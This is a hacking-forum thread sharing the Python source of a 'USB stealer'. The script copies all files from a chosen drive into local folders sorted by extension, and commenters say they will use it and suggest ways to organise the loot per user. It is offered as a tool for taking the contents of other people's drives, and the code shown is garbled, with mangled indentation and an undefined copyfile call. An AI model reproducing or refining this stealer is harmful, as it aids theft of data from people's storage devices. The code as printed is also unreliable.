Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Python 

USB Stealer Source

Thanks for this man, good tool that I will make use of soon.
Code
import os
from shutil import copy
Drive=raw_input('What Drive? -->')
path = Drive+':\\'
listing = os.listdir(path)
for filen in listing:
    for i in range(len(filen)):
  if filen[i]=='.':
    break
    if i ==len(filen)-1:
  i=i+1
    extension=filen[i:]

    if  extension=='':
  print 'Copied The Directory \''+filen+'\' To Directories Folder.'
  copyfile(path+filen, '.\\'+filen )
    else:
  extension=" ".join(extension.split('.')) #to handle occurences where two .'s occur
  print 'Copied The File \''+filen+'\' To \'\\'+extension+'\\\'.'
  if not os.path.exists('.\\'+extension):
    os.makedirs('.\\'+extension)
  copyfile(path+filen, '.\\'+extension+'\\'+filen)
This is very nice dude, especially for a first release.
You might want to read up on loops, and program flow in general. A LOT of this can be optimized, as I did with this block that checks and creates the directories (there's still room for renovation):

Code
fileExtensions = ['txt', 'pdf', 'log', 'doc', 'docx', ] # and on and on...

def createDirectory(directory):
    if not os.path.exists(directory):
        os.makedirs(directory)

[createDirectory(os.getcwd() + "/SLD/" + getpass.getuser() + "/" + extension) for extension in fileExtensions]

# with map method:
# map(lambda extension: createDirectory(extension), fileExtensions)
Simple but very useful, but I guess the code could of been better.
Thanks bro , that is my help hahaha !
Nice work dude!
Keep it up!

Greetings


Possibly Related Threads...
Thread / Author Replies Views Last Post
[Python] by YoloFroggyNov 7, 2018 06:50 PM 1 154 Nov 7, 2018 06:50 PM
Last Post: mycatisadog
[Shell] by olihOct 19, 2018 02:06 PM 3 391 Oct 19, 2018 02:06 PM
Last Post: Percyville
[Shell] by Sphere of MadnessJul 29, 2017 03:33 AM 7 465 Jul 29, 2017 03:33 AM
Last Post: Sphere of Madness